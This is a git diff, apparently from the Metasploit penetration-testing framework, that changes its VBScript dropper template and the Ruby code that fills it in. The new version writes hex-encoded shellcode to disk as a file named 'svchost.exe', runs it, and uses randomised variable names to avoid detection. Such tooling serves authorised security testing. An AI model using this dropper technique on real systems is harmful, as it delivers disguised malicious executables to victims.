diff --git a/data/templates/scripts/to_exe.vbs.template b/data/templates/scripts/to_exe.vbs.template index 102d2787bb..460a2176d2 100644 --- a/data/templates/scripts/to_exe.vbs.template +++ b/data/templates/scripts/to_exe.vbs.template @@ -1,5 +1,5 @@ Function %{var_func}() -%{var_shellcode} + %{var_shellcode} = "%{var_hex_shellcode}" Dim %{var_obj} Set %{var_obj} = CreateObject("Scripting.FileSystemObject") @@ -12,7 +12,9 @@ Function %{var_func}() %{var_obj}.CreateFolder(%{var_basedir}) %{var_tempexe} = %{var_basedir} & "\" & "svchost.exe" Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false) - %{var_stream}.Write %{var_bytes} + For i = 1 to Len(%{var_shellcode}) Step 2 + %{var_stream}.Write Chr(CLng("&H" & Mid(%{var_shellcode},i,2))) + Next %{var_stream}.Close Dim %{var_shell} Set %{var_shell} = CreateObject("Wscript.Shell") diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 43ad61470e..b0064b4ca8 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -824,8 +824,7 @@ def self.to_vba(framework,code,opts={}) persist = opts[:persist] || false hash_sub = {} - hash_sub[:var_shellcode] = "" - hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small + hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8) @@ -835,7 +834,7 @@ def self.to_vba(framework,code,opts={}) hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8) hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8) - hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes]) + hash_sub[:var_hex_shellcode] = exes.unpack('H*').join('') hash_sub[:init] = ""